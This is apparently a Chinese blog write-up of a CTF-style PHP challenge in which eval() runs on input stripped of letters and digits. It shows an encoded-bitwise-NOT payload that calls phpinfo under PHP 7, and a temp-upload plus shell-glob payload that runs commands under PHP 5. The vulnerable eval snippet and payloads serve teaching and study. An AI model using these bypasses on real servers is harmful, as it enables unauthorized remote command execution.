当前位置: 首页 > news >正文

RCE---无字母数字webshell

<?php
if(isset($_GET['code'])){$code = $_GET['code'];if(strlen($code)>35){die("Long.");}if(preg_match("/[A-Za-z0-9_$]+/",$code)){die("NO.");}eval($code);
}else{highlight_file(__FILE__);
}

分析代码:传参不大于35,且传参不能为字母数字下划线与&符

这种情况怎那么进行命令执行?

php7

PHP7前是不允许用($a)();这样的方法来执行动态函数的,但PHP7后可以。

所以可以在$a的位置写我们想要执行的函数,但这里正则过滤了字母数字,怎么办?

取反

php中’~‘表示取反,而取反之后大都是不可见字符,如:

<?php
var_dump(urlencode(~'system'));

取反后的值为%8C%86%8C%8B%9A%92

解码后

所以答案基本上就出来了,

<?php
var_dump(urlencode(~'phpinfo'));

payload=(~%8F%97%8F%96%91%99%90)();

 

成功

php5

前面说过,($a)()这种方式实在php7之后才可以使用,那php5下怎么办?

同样的方法php5无法执行

在linux下,使用点+空格+文件名可以在没有执行权限的情况下执行文件,那么我们是否可以通过上传文件然后执行的方式来实现呢?

根据验证,通过post上传的文件会放在/tem/php******,后面的字符是随机的,那么问题来了,怎么匹配到这个文件?

通配符

很多人知道linux通配符有?和*,可以使用通配符来进行匹配,但经过验证,无法准确匹配

 但其实还要一直通配符

[^a]表示这里不为a

[0-9]表示0-9这个范围

而注意到linux中文件基本都是小写,我们上传的文件中后几位是随机的,可能包含大写,所以我们就只需要利用[]表示出大写字母就可以了

在ascii表中,大写字母处于@-[之间,所以很明确了,使用/???/???????[@-[]来进行匹配

执行

<!DOCTYPE html>
<html lang="en">
<head><meta charset="UTF-8"><meta name="viewport" content="width=device-width, initial-scale=1.0"><title>Document</title>
</head>
<body><form action="web.php" method="post" enctype="multipart/form-data"><input type="file" name="file" id=""><input type="submit" value="submit"></form>
</body>
</html>

写一个form表单上传文件到web.php

使用bp抓包,抓一个上传文件的包和web.php的包

上传:

 web.php

把第一个包的post内容放到web.php中

 发送请求

成功执行

 payload

至于payload为什么要写成

?><?=`. /???/????????[@-[]`;?>

php关于eval这样写的

 而<?=是在php5.4之后<? php echo的一种简写

因为php无法执行linux命令,而反引号可以,所以后面加上了反引号

相关文章:

  • 北京网站建设多少钱?
  • 辽宁网页制作哪家好_网站建设
  • 高端品牌网站建设_汉中网站制作
  • 基于php的图书管理系统 可学习使用
  • 数字孪生平台:构建智慧未来,重塑空间智能生态的钥匙
  • Python Flask 与 Node.js Express
  • TM1652段码屏芯片全解析——概况,性能,MCU连接,样例代码
  • 【数据结构】六、图:6.图的最短路径(BFS 算法、迪杰斯特拉(Dijkstra)算法、弗洛伊德(Floyd)算法)
  • 大数据当中常用的一些技术
  • 算法——动态规划:0/1 背包问题
  • springboot系列十二:拦截器和文件上传
  • Git使用错误分析
  • 如何保证电源的长期稳定性?
  • PHP开启多进程
  • SpringBoot基础(二):配置文件详解
  • 序列建模之循环和递归网络 - 引言篇
  • 一个很牛的学习网站分享 Developer Roadmaps
  • 【视频讲解】顶级期刊即插即用模块代码共享计划·2024第一期:02:非相邻层次间语义信息渐进式特征融合策略(2024 1区Top | 浙江大学开源)代码实现
  • ES6指北【2】—— 箭头函数
  • 5分钟即可掌握的前端高效利器:JavaScript 策略模式
  • github从入门到放弃(1)
  • IndexedDB
  • Javascripit类型转换比较那点事儿,双等号(==)
  • Linux中的硬链接与软链接
  • python 装饰器(一)
  • SSH 免密登录
  • 动态魔术使用DBMS_SQL
  • 机器学习中为什么要做归一化normalization
  • 腾讯大梁:DevOps最后一棒,有效构建海量运营的持续反馈能力
  • 微信如何实现自动跳转到用其他浏览器打开指定页面下载APP
  • 小程序button引导用户授权
  • 一些关于Rust在2019年的思考
  • 异常机制详解
  • 自定义函数
  • elasticsearch-head插件安装
  • Python 之网络式编程
  • 容器镜像
  • ​十个常见的 Python 脚本 (详细介绍 + 代码举例)
  • # 执行时间 统计mysql_一文说尽 MySQL 优化原理
  • #1014 : Trie树
  • #Datawhale AI夏令营第4期#AIGC文生图方向复盘
  • (16)Reactor的测试——响应式Spring的道法术器
  • (39)STM32——FLASH闪存
  • (day 2)JavaScript学习笔记(基础之变量、常量和注释)
  • (Java)【深基9.例1】选举学生会
  • (MATLAB)第五章-矩阵运算
  • (python)数据结构---字典
  • (笔记)Kotlin——Android封装ViewBinding之二 优化
  • (十六)视图变换 正交投影 透视投影
  • (十五)使用Nexus创建Maven私服
  • (完整代码)R语言中利用SVM-RFE机器学习算法筛选关键因子
  • (五)IO流之ByteArrayInput/OutputStream
  • (原創) 是否该学PetShop将Model和BLL分开? (.NET) (N-Tier) (PetShop) (OO)
  • (转)memcache、redis缓存
  • (转)程序员疫苗:代码注入
  • ... fatal error LINK1120:1个无法解析的外部命令 的解决办法
  • .NET C# 操作Neo4j图数据库
  • .Net MVC4 上传大文件,并保存表单